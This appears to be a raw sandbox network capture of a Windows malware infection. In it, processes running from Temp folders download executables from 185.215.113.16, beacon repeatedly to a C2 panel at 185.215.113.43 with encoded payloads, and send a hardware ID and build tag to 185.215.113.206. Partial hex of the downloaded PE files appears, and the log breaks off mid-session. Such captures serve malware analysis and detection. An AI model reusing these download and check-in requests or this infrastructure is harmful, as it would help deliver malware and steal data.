Oct 31, 2024 01:19:36.648369074 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50020	185.215.113.16	80	364	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:36.310465097 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:19:37.212075949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:37 GMT Content-Type: application/octet-stream Content-Length: 2820096 Last-Modified: Wed, 30 Oct 2024 23:13:35 GMT Connection: keep-alive ETag: "6722bd9f-2b0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@pgootnwq*:@rqqmfceu `+@.taggant@+"*@
Oct 31, 2024 01:19:37.212130070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212166071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212203026 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212236881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212270975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212306023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212342978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:37.212377071 CET	1236	IN	Data Raw: af cf bf 20 ba 62 7d 45 2f 7c de 1c 49 2c 52 5b 5c 51 b8 13 3a 71 9d 77 75 8b 06 31 65 76 9d 2a ba 4f cc 1f a8 0a cb 0e 60 5f ea 93 9d 7d 4c 0c b0 50 b1 e3 76 5f e5 73 fe 74 73 93 9d 7d 4c 7e b1 5c b1 93 72 5f c7 1a 91 90 31 1c c0 1c d0 ab d2 85 Data Ascii: b}E/\|I,R[\Q:qwu1ev*O`_}LPv_sts}L~\r_1O:X^_7dYiSqKvp0@d@x%RUqZ<kfYp~ce)#ASC'VK8ksTP0V3gIN^O#6^
Oct 31, 2024 01:19:37.212416887 CET	1060	IN	Data Raw: db 9e 82 61 0b 25 bf f1 91 bd 89 3c a2 4f 26 40 10 6d 8d ad 12 9b 33 c9 70 29 b9 a8 9e a0 86 64 34 1d 0f 67 e9 5a e7 2e cc 8c 7e 1c 28 2c be 45 49 25 44 f8 18 0e 94 25 20 9e a2 67 66 0d bd 04 a8 c4 8d b5 b8 ba e0 a3 bb 32 8a bd 9f e0 fc 43 9a 39 Data Ascii: a%<O&@m3p)d4gZ.~(,EI%D% gf2C9fudQ]6M&6Na _LQs\|#X`[Vr'#l#S$~`BmPiN:v6oUZzBU;TfC{B>F[z\<\OVCV^sDevBA>$g
Oct 31, 2024 01:19:37.217313051 CET	1236	IN	Data Raw: a1 19 10 68 5c 50 3d d1 55 66 ee 3e 92 f6 52 32 60 2e 6c e4 31 3d 31 34 b8 e8 3a 57 bb 31 3e 68 b2 18 91 88 42 42 45 55 88 2a 31 64 3d 92 b7 be 39 21 4a 45 97 8b c4 8f 5d 65 42 79 27 3f d1 74 86 c1 bd 87 44 46 65 3c ab 81 9e 76 e8 6a c2 98 9f 10 Data Ascii: h\P=Uf>R2`.l1=14:W1>hBBEU*1d=9!JE]eBy'?tDFe<vj{)spu^e~JUyz2HTb@3{ps0j}Ev\|1118_~:Dg#vj M5s3}l)[hH{EexSX~{1rSa"JgF7tfl'vqjf,b/N&
Oct 31, 2024 01:19:59.591288090 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:19:59.870472908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:59 GMT Content-Type: application/octet-stream Content-Length: 1926144 Last-Modified: Wed, 30 Oct 2024 23:58:44 GMT Connection: keep-alive ETag: "6722c834-1d6400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PLM@Wk8LL @.rsrc@.idata @ +@tfbezuorP1H@idqqmftgL>@.taggant0 L"B@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50022	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:38.537817955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:19:39.429600000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50028	34.107.221.82	80	5564	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:40.307621956 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:19:40.911535978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71307 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50030	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:41.187381983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:19:42.099332094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50033	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:43.780997992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:19:44.678474903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50034	34.107.221.82	80	5564	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:44.743601084 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:19:45.331283092 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71334 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50038	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:46.327723026 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:19:47.237739086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50043	34.107.221.82	80	5564	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:48.953120947 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:19:49.548257113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71316 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:19:49.762387037 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71316 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:19:59.581614971 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:20:09.784735918 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50045	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:49.021524906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:19:49.919148922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50048	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:51.485101938 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:19:52.386951923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50049	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:54.060023069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:19:54.983741045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50052	185.215.113.206	80	1968	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:55.890392065 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:19:56.805553913 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:19:56.818806887 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJECBKKECFIEBGCAKJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="hwid"621030F647411176838713------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="build"tale------HJJECBKKECFIEBGCAKJK--
Oct 31, 2024 01:19:57.109117985 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50054	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:56.769035101 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:19:57.653434992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50055	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:59.616453886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:00.491092920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50057	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
